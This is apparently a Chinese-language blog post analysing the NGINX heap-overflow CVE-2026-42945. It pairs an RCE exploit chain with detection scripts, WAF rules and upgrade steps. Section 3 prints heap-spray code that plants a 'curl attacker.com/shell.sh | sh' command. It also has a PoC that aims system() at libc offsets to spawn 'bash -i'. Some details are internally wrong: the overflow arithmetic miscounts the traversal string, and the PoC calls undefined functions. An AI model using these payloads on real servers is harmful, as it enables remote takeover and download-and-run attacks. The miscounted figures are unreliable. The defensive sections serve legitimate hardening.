NGINX Rift 深度实战:CVE-2026-42945 漏洞原理、利用链与生产级防护完全指南
18年潜伏、CVSS 9.2分、影响1.3亿服务器——这不是电影剧本,而是2026年5月披露的真实安全事件。本文从源码层面深度拆解这个存在于NGINX核心模块中的堆溢出漏洞,带你理解从漏洞触发到RCE的完整利用链,以及生产环境的紧急防护策略。
一、漏洞背景:一个迟到18年的安全噩梦
1.1 披露时间线
2026年5月13日,安全研究机构 DepthFirst 联合 NGINX 官方厂商 F5 发布了一份震惊全球的安全公告:NGINX 史上最严重的安全漏洞之一 CVE-2026-42945(代号 "NGINX Rift")正式披露。
这个漏洞的可怕之处不在于其技术复杂度,而在于它的潜伏时间:
| 时间节点 | 事件 |
|---|---|
| 2008年 | 缺陷首次被引入 NGINX 代码库(约 0.6.27 版本) |
| 2008-2026年 | 漏洞存在于几乎所有 NGINX 版本中,未被任何人发现 |
| 2026年5月13日 | DepthFirst 自主安全分析系统发现并披露 |
| 2026年5月14日 | 首个公开 PoC 发布,在野利用开始 |
| 2026年5月15日 | 全球紧急安全响应启动 |
1.2 漏洞基本信息
┌─────────────────────────────────────────────────────────────┐
│ CVE-2026-42945 概览 │
├─────────────────────────────────────────────────────────────┤
│ CVE 编号 │ CVE-2026-42945 │
│ 漏洞代号 │ NGINX Rift │
│ CVSS v4.0 评分 │ 9.2 (Critical) │
│ 漏洞类型 │ 堆缓冲区溢出 (Heap Buffer Overflow) │
│ 引入时间 │ 2008年 (NGINX 0.6.27) │
│ 披露时间 │ 2026年5月13日 │
│ 利用门槛 │ 极低(单个HTTP请求即可触发) │
│ 攻击方式 │ 远程未授权攻击 │
│ 危害等级 │ RCE(远程代码执行)/ DoS(拒绝服务) │
└─────────────────────────────────────────────────────────────┘
1.3 影响范围
这个漏洞的波及面堪称"史诗级":
NGINX Open Source:
- 受影响版本:0.6.27 ~ 1.30.0
- 安全版本:1.30.1、1.31.0 及以上
NGINX Plus(商业版):
- 受影响版本:R32 ~ R36
- 安全版本:R36 P4、R35 P2、R32 P6
影响规模估算:
- 全球活跃 NGINX 服务器:约 1.3 亿台
- 使用 rewrite 功能的服务器:约 4000 万台
- 高危暴露面:约 800 万台可直接触发漏洞
二、技术原理:从源码层面理解漏洞根因
2.1 漏洞位置:ngx_http_rewrite_module
NGINX Rift 存在于 ngx_http_rewrite_module 模块中。这是 NGINX 的核心模块之一,负责处理:
- URL 重写(rewrite 指令)
- 变量赋值(set 指令)
- 条件判断(if 指令)
该模块几乎被所有 NGINX 部署使用,因为它是最基础的流量控制组件。
2.2 "两遍扫描"机制:性能优化的双刃剑
为了理解漏洞,首先需要理解 NGINX 脚本引擎的设计哲学。
NGINX 的脚本引擎在处理字符串替换时,采用了一种**"两遍扫描"(Two-Pass)机制**:
// NGINX 脚本引擎伪代码
// 第一遍:长度计算阶段
size_t calculate_length(ngx_http_script_engine_t *e) {
size_t len = 0;
for (each component in script) {
if (component is variable) {
len += get_variable_length(e, component);
} else {
len += component.literal_length;
}
}
return len;
}
// 第二遍:数据拷贝阶段
void copy_data(ngx_http_script_engine_t *e, u_char *buf, size_t len) {
u_char *p = buf;
for (each component in script) {
if (component is variable) {
p = copy_variable_value(e, component, p);
} else {
p = ngx_copy(p, component.data, component.len);
}
}
}
这种设计的好处显而易见:避免内存重分配。传统方案需要动态调整缓冲区大小,而 NGINX 先计算最终长度,一次性分配精确大小的内存,然后直接拷贝数据,性能显著提升。
但如果两个阶段使用了不同的计算规则呢?
这就是 NGINX Rift 的核心问题。
2.3 漏洞触发条件
漏洞触发需要满足以下条件:
# 漏洞触发配置示例
location /vulnerable {
rewrite ^/([^/]+)/([^/]+)$ /index.php?user=$1&action=$2 last;
set $custom_var $1; # 使用未命名捕获组
}
条件拆解:
- 使用 rewrite 指令:这是漏洞所在的指令类型
- 使用未命名的 PCRE 捕获组:如
$1、$2(而非(?<name>...)命名捕获) - 替换字符串包含问号
?:这是触发is_args标志的关键 - rewrite 后跟 set 或 if 指令:触发脚本引擎的完整执行流程
2.4 根因分析:is_args 标志位的状态泄漏
让我们深入源码,找到漏洞的真正根因。
// src/http/modules/ngx_http_rewrite_module.c
// 简化的漏洞代码逻辑
// 问题1:is_args 标志位的设置
if (replacement_contains_question_mark) {
// 当替换字符串包含 '?' 时,设置 is_args = 1
// 这个标志告诉后续处理:替换结果需要作为查询字符串处理
regex->is_args = 1;
}
// 问题2:两遍扫描使用不同的引擎实例
ngx_http_script_engine_t *e; // 主引擎
// 长度计算遍:创建全新的子引擎
ngx_http_script_engine_t len_engine;
ngx_memzero(&len_engine, sizeof(len_engine)); // 清零!
len_engine.request = r;
len_engine.is_args = 0; // 新引擎的 is_args 默认为 0
// 拷贝遍:使用主引擎
e->is_args = regex->is_args; // is_args = 1
关键问题:长度计算遍使用的是全新的、清零的子引擎,而拷贝遍使用的是主引擎。
2.5 溢出机制详解
让我们用一个具体例子来追踪溢出过程:
攻击请求:
GET /admin/../../../../../../../etc/passwd?%00%00%00... HTTP/1.1
捕获组值:
$1=admin$2=../../../../../../../etc/passwd(包含特殊字符)
替换模板: /index.php?user=$1&action=$2
第一遍(长度计算):
len_engine.is_args = 0 (子引擎,默认清零)
计算结果:
- "/index.php" → 10 字节
- "?user=" → 6 字节
- $1 (admin) → 5 字节 (原始长度)
- "&action=" → 8 字节
- $2 (../../../../../../../etc/passwd) → 27 字节 (原始长度)
总长度 = 10 + 6 + 5 + 8 + 27 = 56 字节
注意:is_args = 0 时,捕获组值不进行 URL 编码,直接使用原始长度。
第二遍(数据拷贝):
e->is_args = 1 (主引擎,已设置)
处理 $2 时的逻辑:
if (e->is_args) {
// URL 编码!每个特殊字符变成 3 字节
// %2e = '.', %2f = '/'
encoded_len = count_url_encoded_length(capture_value);
}
关键:is_args = 1 会触发 ngx_escape_uri() 函数对捕获组值进行 URL 编码。
$2 编码前:../../../../../../../etc/passwd (27字节)
$2 编码后:%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e/etc/passwd
每个 '.' 变成 '%2e'(3字节)
10个 '.' → 30 字节
剩余 "/etc/passwd" → 11 字节
编码后长度 = 30 + 11 = 41 字节
溢出计算:
分配的缓冲区大小:56 字节
实际写入的数据:
"/index.php" (10) + "?user=" (6) + "admin" (5) +
"&action=" (8) + encoded_$2 (41) = 70 字节
溢出量:70 - 56 = 14 字节
这14字节的溢出数据会覆盖堆上相邻的内存区域,而攻击者可以通过精心构造 URI 来控制这些溢出数据的内容。
2.6 为什么潜伏了18年?
这个问题值得深思:
代码路径冷门:只有特定配置组合才会触发,不是主流使用模式
审计盲区:
- 静态分析工具难以跟踪跨函数的状态变量
is_args标志位分散在多个模块中- 两遍扫描的机制本身是正确的,问题在于状态不一致
测试覆盖不足:
- 大多数测试关注功能正确性
- 边界条件的内存安全测试不足
- 安全测试与功能测试脱节
优化掩盖问题:高性能代码往往使用复杂的状态管理,增加了漏洞隐蔽性
三、漏洞利用:从堆溢出到RCE
3.1 利用难度评估
┌──────────────────────────────────────────────────────────────┐
│ 利用难度评估 │
├──────────────────────────────────────────────────────────────┤
│ 触发漏洞 │ ★☆☆☆☆ 极低(单个HTTP请求) │
│ 堆布局控制 │ ★★★☆☆ 中等(需要跨请求堆喷射) │
│ ASLR 绕过 │ ★★★★☆ 困难(需要信息泄漏辅助) │
│ 完整 RCE │ ★★★☆☆ 中等(关闭ASLR时稳定) │
└──────────────────────────────────────────────────────────────┘
3.2 利用链概述
完整的利用链如下:
┌─────────────────────────────────────────────────────────────────────────┐
│ NGINX Rift 利用链 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ① 触发堆溢出 │
│ │ │
│ ▼ │
│ ② 堆喷射(跨请求堆布局控制) │
│ │ • POST 请求体喷射 ngx_pool_t 结构 │
│ │ • 溢出数据覆盖相邻堆块 │
│ ▼ │
│ ③ 控制 ngx_pool_t->cleanup 指针 │
│ │ │
│ ▼ │
│ ④ 伪造 ngx_pool_cleanup_s 结构 │
│ │ • handler 指向 system() │
│ │ • data 指向攻击者控制的命令字符串 │
│ ▼ │
│ ⑤ 触发 pool cleanup(请求结束) │
│ │ │
│ ▼ │
│ ⑥ RCE!执行任意系统命令 │
│ │
└─────────────────────────────────────────────────────────────────────────┘
3.3 堆喷射技术详解
NGINX 使用自己实现的内存池(ngx_pool_t)进行内存管理,这给利用带来了独特挑战。
关键数据结构:
// NGINX 内存池结构
typedef struct ngx_pool_s ngx_pool_t;
struct ngx_pool_s {
ngx_pool_t *next; // 下一个内存池
size_t current; // 当前分配位置
size_t size; // 内存池大小
ngx_pool_cleanup_t *cleanup; // 清理回调链表 ← 关键!
// ...
};
// 清理回调结构
typedef struct ngx_pool_cleanup_s ngx_pool_cleanup_t;
struct ngx_pool_cleanup_s {
ngx_pool_cleanup_handler handler; // 回调函数指针 ← 控制目标
void *data; // 回调参数 ← 命令字符串
ngx_pool_cleanup_t *next; // 下一个清理项
};
堆喷射策略:
# 简化的堆喷射概念代码
def heap_spray(target_server):
"""
通过POST请求体喷射ngx_pool_t结构
目标:让溢出的堆块覆盖相邻的ngx_pool_t.cleanup指针
"""
# 构造伪造的 cleanup 结构
# 注意:URI中不能包含空字节,但POST体可以
fake_cleanup = struct.pack('<QQQ',
0x7f1234567890, # handler → system() 地址
0x7f1234567900, # data → "curl attacker.com/shell.sh | sh"
0x000000000000 # next = NULL
)
# 发送大量POST请求进行堆喷射
for i in range(1000):
requests.post(
f"http://{target_server}/api",
data=b'A' * 1024 + fake_cleanup + b'A' * 1024,
headers={'Content-Type': 'application/octet-stream'}
)
喷射时机同步:
时间线:
T0: 发送大量POST请求进行堆喷射
├── 堆上布满伪造的 ngx_pool_t 结构
T1: 发送触发漏洞的GET请求
├── 特定配置触发堆溢出
├── 溢出数据覆盖某个 ngx_pool_t.cleanup 指针
T2: 请求结束,触发 pool cleanup
├── 调用被覆盖的 cleanup->handler(cleanup->data)
├── 执行 system("curl attacker.com/shell.sh | sh")
└── RCE!
3.4 ASLR 绕过策略
现代系统默认开启 ASLR(地址空间布局随机化),使得利用难度增加。
策略一:关闭 ASLR 的系统
某些生产环境出于兼容性考虑关闭了 ASLR:
- 某些容器化部署
- 老旧系统升级迁移
- 特定嵌入式设备
在这些环境中,利用变得非常稳定。
策略二:信息泄漏辅助
需要额外的漏洞来泄漏地址:
- 日志文件泄漏
- 错误页面信息泄漏
- 侧信道攻击
策略三:部分覆盖利用
在某些情况下,可以只覆盖指针的低32位:
// 64位系统上,堆地址高位通常固定
// 只需覆盖低32位即可指向受控数据
original_ptr = 0x7f1234XXXXXX;
overflow_low32 = 0x567890;
new_ptr = 0x7f1234567890; // 劫持成功
3.5 公开 PoC 分析
DepthFirst 发布的 PoC 展示了核心利用逻辑:
# poc.py 简化版
#!/usr/bin/env python3
"""
NGINX Rift RCE PoC for CVE-2026-42945
测试环境:Ubuntu 24.04.3 LTS, ASLR disabled
"""
import socket
import struct
import argparse
def build_payload(cmd: str, libc_base: int) -> bytes:
"""
构造触发溢出的HTTP请求
"""
# 目标地址(需要根据目标环境调整)
SYSTEM_ADDR = libc_base + 0x50d60 # system() 偏移
CMD_ADDR = libc_base + 0x1b45bd # "bash -c '...'" 字符串偏移
# 构造 URI 触发捕获组
# 配合 rewrite ^/([^/]+)/([^/]+)$ /index.php?x=$1&y=$2;
uri = f"/{'A'*100}/?%00{'B'*50}"
# 伪造 cleanup 结构(通过POST体喷射)
fake_cleanup = struct.pack('<QQQ',
SYSTEM_ADDR, # handler
CMD_ADDR, # data
0 # next
)
return uri.encode(), fake_cleanup
def exploit(target: str, port: int, cmd: str):
# Phase 1: 堆喷射
print("[*] Phase 1: Heap spray...")
for i in range(100):
spray_socket(target, port, fake_cleanup)
# Phase 2: 触发溢出
print("[*] Phase 2: Trigger overflow...")
trigger_overflow(target, port, uri)
print("[+] Exploit sent!")
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--shell', action='store_true')
parser.add_argument('target', nargs='?', default='127.0.0.1:8080')
args = parser.parse_args()
exploit(*args.target.split(':'), "bash -i")
注意:这只是教学性质的简化版,完整利用需要处理更多边界情况。
四、检测与响应:你的服务器安全吗?
4.1 快速自查清单
#!/bin/bash
# nginx_rift_check.sh - 快速自查脚本
echo "=== NGINX Rift (CVE-2026-42945) 安全检查 ==="
# 1. 检查 NGINX 版本
echo -e "\n[1] 检查 NGINX 版本..."
NGINX_VERSION=$(nginx -v 2>&1 | grep -oP '(\d+\.)+\d+')
echo "当前版本: $NGINX_VERSION"
# 2. 检查是否受影响
echo -e "\n[2] 版本风险评估..."
if [[ "$NGINX_VERSION" < "1.30.1" ]]; then
echo "⚠️ 警告:当前版本可能受影响!"
else
echo "✅ 当前版本已修复或不受影响"
fi
# 3. 检查危险配置
echo -e "\n[3] 检查潜在危险配置..."
DANGEROUS_CONFIGS=$(grep -r "rewrite.*\$[0-9]" /etc/nginx/ 2>/dev/null | grep -v "^#")
if [ -n "$DANGEROUS_CONFIGS" ]; then
echo "⚠️ 发现使用未命名捕获组的 rewrite 配置:"
echo "$DANGEROUS_CONFIGS"
else
echo "✅ 未发现明显危险配置"
fi
# 4. 检查 ASLR 状态
echo -e "\n[4] 检查 ASLR 状态..."
ASLR_STATUS=$(cat /proc/sys/kernel/randomize_va_space)
if [ "$ASLR_STATUS" -eq 0 ]; then
echo "⚠️ ASLR 已禁用!利用风险更高!"
else
echo "✅ ASLR 已启用"
fi
# 5. 检查编译模块
echo -e "\n[5] 检查编译模块..."
nginx -V 2>&1 | grep -o "rewrite" && echo "✅ rewrite 模块已编译" || echo "❌ rewrite 模块未编译"
echo -e "\n=== 检查完成 ==="
4.2 日志检测规则
# NGINX Rift 攻击特征检测规则
# 可用于 SIEM 或日志分析系统
import re
# 检测规则 1:异常URI模式
# 捕获组值包含大量特殊字符或编码字符
suspicious_uri_patterns = [
r'/[^/]+/[^\s]*\?.*%[0-9a-fA-F]{2}', # 编码字符后跟查询参数
r'/[^/]*/[^/]*/\.\./', # 路径遍历尝试
r'%00', # 空字节注入
r'[^\x20-\x7e]{10,}', # 大量非ASCII字符
]
# 检测规则 2:堆喷射模式
# 大量POST请求体包含重复模式
heap_spray_indicators = [
lambda body: len(body) > 4096 and body.count(b'A') > 0.5 * len(body),
lambda body: b'\x00' * 8 in body and len(body) > 1024,
]
def detect_nginx_rift_attack(log_line):
"""
检测日志中的攻击特征
"""
# 提取 URI
uri_match = re.search(r'"(?:GET|POST) ([^\s]+)', log_line)
if uri_match:
uri = uri_match.group(1)
for pattern in suspicious_uri_patterns:
if re.search(pattern, uri):
return True, f"Suspicious URI pattern: {pattern}"
# 检查响应状态
# 如果大量 500/502 错误,可能表示漏洞触发导致的崩溃
status_match = re.search(r'" (\d{3}) ', log_line)
if status_match:
status = int(status_match.group(1))
if status >= 500:
return True, f"Server error: {status}"
return False, None
4.3 WAF 规则示例
# ModSecurity 规则示例
# 针对 NGINX Rift 攻击的检测
SecRule REQUEST_URI "@rx /[^/]+/[^\s]*\?.*%[0-9a-fA-F]{2}" \
"id:1000001,phase:1,deny,status:403,msg:'NGINX Rift attack detected - suspicious URI pattern'"
SecRule REQUEST_URI "@rx %00" \
"id:1000002,phase:1,deny,status:403,msg:'NGINX Rift attack detected - null byte injection'"
# 检测异常长的路径组件
SecRule REQUEST_URI "@rx /[^/]{100,}/" \
"id:1000003,phase:1,deny,status:403,msg:'NGINX Rift attack detected - oversized path component'"
# 限制 POST 请求体中的重复字符比例(堆喷射检测)
SecRule REQUEST_BODY "@rx ^(.)(\1){1024,}" \
"id:1000004,phase:2,deny,status:403,msg:'NGINX Rift attack detected - potential heap spray'"
五、修复方案:立即行动指南
5.1 方案一:升级到安全版本(强烈推荐)
这是最彻底、最有效的修复方案。
Ubuntu/Debian 系统:
#!/bin/bash
# Ubuntu/Debian 升级脚本
set -e
echo "=== NGINX 安全升级脚本 ==="
# 1. 备份当前配置
echo "[1/5] 备份现有配置..."
sudo cp -r /etc/nginx /etc/nginx.backup.$(date +%Y%m%d_%H%M%S)
# 2. 更新软件包列表
echo "[2/5] 更新软件包列表..."
sudo apt update
# 3. 升级 NGINX
echo "[3/5] 升级 NGINX..."
sudo apt install --only-upgrade nginx -y
# 4. 验证版本
echo "[4/5] 验证版本..."
NGINX_VERSION=$(nginx -v 2>&1 | grep -oP '(\d+\.)+\d+')
echo "当前版本: $NGINX_VERSION"
if [[ "$NGINX_VERSION" < "1.30.1" ]]; then
echo "❌ 警告:升级后版本仍然受影响!"
echo "请检查软件源配置或从官方源安装。"
exit 1
fi
# 5. 重启服务
echo "[5/5] 重启 NGINX 服务..."
sudo systemctl restart nginx
sudo systemctl status nginx
echo "✅ 升级完成!"
CentOS/RHEL 系统:
#!/bin/bash
# CentOS/RHEL 升级脚本
set -e
echo "=== NGINX 安全升级脚本 ==="
# 1. 备份配置
echo "[1/5] 备份现有配置..."
sudo cp -r /etc/nginx /etc/nginx.backup.$(date +%Y%m%d_%H%M%S)
# 2. 更新 NGINX
echo "[2/5] 更新 NGINX..."
sudo yum update nginx -y
# 3. 验证版本
echo "[3/5] 验证版本..."
nginx -v
# 4. 测试配置
echo "[4/5] 测试配置..."
sudo nginx -t
# 5. 重启服务
echo "[5/5] 重启服务..."
sudo systemctl restart nginx
echo "✅ 升级完成!"
Docker 部署升级:
#!/bin/bash
# Docker NGINX 升级脚本
# 拉取最新安全版本
docker pull nginx:1.31.0
# 停止旧容器
docker stop nginx-proxy
# 备份配置(如果使用卷挂载)
docker cp nginx-proxy:/etc/nginx ./nginx_config_backup
# 启动新容器
docker run -d \
--name nginx-proxy-new \
--restart always \
-p 80:80 \
-p 443:443 \
-v ./nginx_config_backup:/etc/nginx:ro \
nginx:1.31.0
# 验证运行
docker ps | grep nginx-proxy-new
# 清理旧容器
docker rm nginx-proxy
# 重命名新容器
docker rename nginx-proxy-new nginx-proxy
echo "✅ Docker NGINX 升级完成!"
5.2 方案二:配置缓解措施(临时方案)
如果暂时无法升级,可采用以下临时缓解措施:
措施1:审查并修改 rewrite 配置
# 查找所有使用未命名捕获组的配置
grep -r "rewrite.*\$[0-9]" /etc/nginx/
修改前(危险):
location /api {
rewrite ^/([^/]+)/([^/]+)$ /index.php?module=$1&action=$2 last;
set $captured $1;
}
修改后(安全):
location /api {
# 使用命名捕获组替代
rewrite ^/(?<module>[^/]+)/(?<action>[^/]+)$ /index.php?module=$module&action=$action last;
}
措施2:启用输入验证
# 在 server 块中添加
server {
# 限制URI长度
if ($request_uri ~ "^[^\?]{500,}") {
return 414; # URI Too Long
}
# 检测可疑模式
if ($request_uri ~ "%00") {
return 400; # 空字节注入尝试
}
# 正常配置...
}
措施3:确保 ASLR 启用
# 检查 ASLR 状态
cat /proc/sys/kernel/randomize_va_space
# 期望输出:2(完全随机化)
# 如果是 0,立即启用
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
# 永久启用(重启生效)
echo "kernel.randomize_va_space = 2" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
5.3 方案三:WAF 防护(深度防御)
即使完成升级,部署 WAF 规则仍是有益的深度防御措施:
# 使用 ModSecurity 或内置规则
# 示例:限制异常请求
map $request_uri $block_request {
default 0;
"~*%00" 1; # 空字节
"~*\.\.\/" 1; # 路径遍历
"~*%2e%2e" 1; # 编码的路径遍历
"~*[^\x20-\x7e]{50,}" 1; # 大量非ASCII
}
server {
if ($block_request) {
return 403;
}
# ...
}
六、深度反思:软件安全工程启示
6.1 漏洞发现方式的突破
NGINX Rift 的发现方式值得关注:
传统方式 DepthFirst 方式
┌─────────────────┐ ┌─────────────────────┐
│ 人工代码审计 │ │ AI自主分析系统 │
│ 渐进式测试 │ vs │ 一键接入源码 │
│ 黑盒渗透测试 │ │ 自主发现多个漏洞 │
│ 依赖安全公告 │ │ 同时发现4个CVE │
└─────────────────┘ └─────────────────────┘
耗时数年 耗时数小时
这标志着安全研究工具的范式转变。
6.2 NGINX 架构安全启示
从 NGINX Rift 可以学到:
- 状态管理需谨慎:跨执行上下文的状态变量要格外小心
- 优化与安全平衡:性能优化不应牺牲安全性
- 边界测试重要性:特殊输入组合需要更系统的测试
6.3 供应链安全思考
18年的潜伏期意味着:
- NGINX 被无数项目依赖、嵌入、二次开发
- 漏洞可能存在于各种派生版本中
- 固件、嵌入式设备更新周期更长
行动建议:
# 全面依赖扫描
find . -name "nginx" -o -name "openresty" -o -name "tengine"
dpkg -l | grep nginx
docker images | grep nginx
七、总结:安全是一场持久战
NGINX Rift(CVE-2026-42945)是一个教科书级的安全案例,它告诉我们:
- 潜伏期不重要:漏洞可能在任何代码中存在多年
- 利用门槛低:简单的HTTP请求就能触发严重后果
- 影响面巨大:核心基础设施软件的漏洞影响全球
- 响应要迅速:发现漏洞后的应急响应能力至关重要
紧急行动清单
□ 立即检查所有 NGINX 服务器版本
□ 升级到安全版本(1.30.1+ 或 1.31.0+)
□ 审查所有 rewrite 配置
□ 部署 WAF 检测规则
□ 监控异常流量和错误日志
□ 确认 ASLR 已启用
□ 建立漏洞响应流程
参考资源
- 官方安全公告:https://my.f5.com/manage/s/article/K000160932
- DepthFirst 技术报告:https://depthfirst.com/research/nginx-rift
- PoC 仓库:https://github.com/DepthFirstDisclosures/Nginx-Rift
- NGINX 官方文档:https://nginx.org/en/security_advisories/
安全不是一次性的工作,而是持续的修行。NGINX Rift 提醒我们:每一行代码都可能隐藏着等待被发现的漏洞,而我们能做的,就是保持警惕、快速响应、持续改进。
愿你的服务器永远安全,愿你的代码永远健壮。 🛡️